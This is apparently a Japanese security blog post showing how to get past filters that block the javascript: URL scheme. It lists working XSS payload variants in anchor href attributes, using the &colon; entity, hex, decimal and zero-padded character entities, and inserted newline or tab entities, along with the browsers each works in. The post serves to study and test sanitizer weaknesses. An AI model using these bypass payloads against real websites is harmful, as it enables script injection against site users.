javascriptスキームはあきらめない


一部のタグの使用をユーザに許可しているサイトでもjavascriptスキームを許可しているサイトは中々ありません。
何故なら以下のように記述することでJavaScriptが実行されてしまうからです。

[html]
<html>
<body>
<a href="javascript:alert(document.domain)">click</a>
</body>
</html>
[/html]

だからそういったサイトでは大抵javascriptスキームは禁止されていて使えないようになっています。
今回はそういった制限を回避する手法をいくつか紹介しようかと思います。

[html]
<html>
<body>
<a href="javascript&colon;alert(document.domain)">click</a>
</body>
</html>
[/html]
これは「:」という文字を「&colon;」というCharacterエンティティに置き換えることによって制限の回避を試みています。

しかし中には「javascript」という文字列自体の使用をタグの中で許可しないサイトも存在すると思われます。
その場合は以下のようにすることで解決出来ます。
[html]
<html>
<body>
<a href="j&#x61;v&#x61;script:alert(document.domain)">click</a>
</body>
</html>
[/html]
見れば分かると思いますが「a」という文字を「&#x61;」というHTMLエンティティに置き換えています。

ちなみにコロンが使えない場合でも以下のように記述すれば動きます(&#x41;は「A」、&#x3a;は「:」)。
[html]
<html>
<body>
<a href="j&#x61;v&#x41;script&#x3a;alert(document.domain)">click</a>
</body>
</html>
[/html]

10進法でも記述することが出来るので以下のパターンも動きます(&#97;は「a」、&#65;は「A」、&#58;は「:」)。
[html]
<html>
<body>
<a href="j&#97;v&#65;script&#58;alert(document.domain)">click</a>
</body>
</html>
[/html]

つまり、これらの手法への対策を講じれば完璧・・・ではありません。

意外かも知れませんが以下のパターンも動きます(&#x000000072;は「r」)。
[html]
<html>
<body>
<a href="j&#00097;v&#000000000000000000000000000065;sc&#x000000072;ipt&#0000000000058;alert(document.domain)">click</a>
</body>
</html>
[/html]
この時「0」の数に決まりはありません。
単純なHTMLエンティティへの対策は出来ているのにこういったパターンへの対策が出来ていないサイトを過去に見たことがあります。

ここまでは私が試した限りでは、IE11,GC41,FF35で動きました。多少古いブラウザでも動く可能性があるかもしれません。

ここからIEとGCでしか動かないパターン。
[html]
<html>
<body>
<a href="ja&NewLine;&Tab;vasc&NewLine;&Tab;ript:alert(document.domain)">click</a>
</body>
</html>
[/html]
「&NewLine;」と「&Tab;」はどちらか片方でも構いません。
これは、GC41とIE11,10で動くことを確認しています。IE6~9とFirefoxでは動かなかったと記憶しています。もしかしたら他のブラウザでも動くかもしれませんが。

また、下のパターンでもOK。
[html]
<html>
<body>
<a href="ja&#10;&#9;vasc&#x0A;&#x09;ript:alert(document.domain)">click</a>
</body>
</html>
[/html]
「&#10;」「&#x0A;」と「&#9;」「&#x09;」はどちらか片方でも構いません。
勿論「&#0000010;」や「&#x0000000A;」、「&#000000000000009;」「&#x000000000009;」等でも動きます。

今回のPoCは全て以下のページにまとめておきました。
http://vuln.moe/web/xss/jschema.html

尚、今回の手法はdataスキームにも応用することが出来ます。

完璧な対策とは中々難しいものだと実感させられます。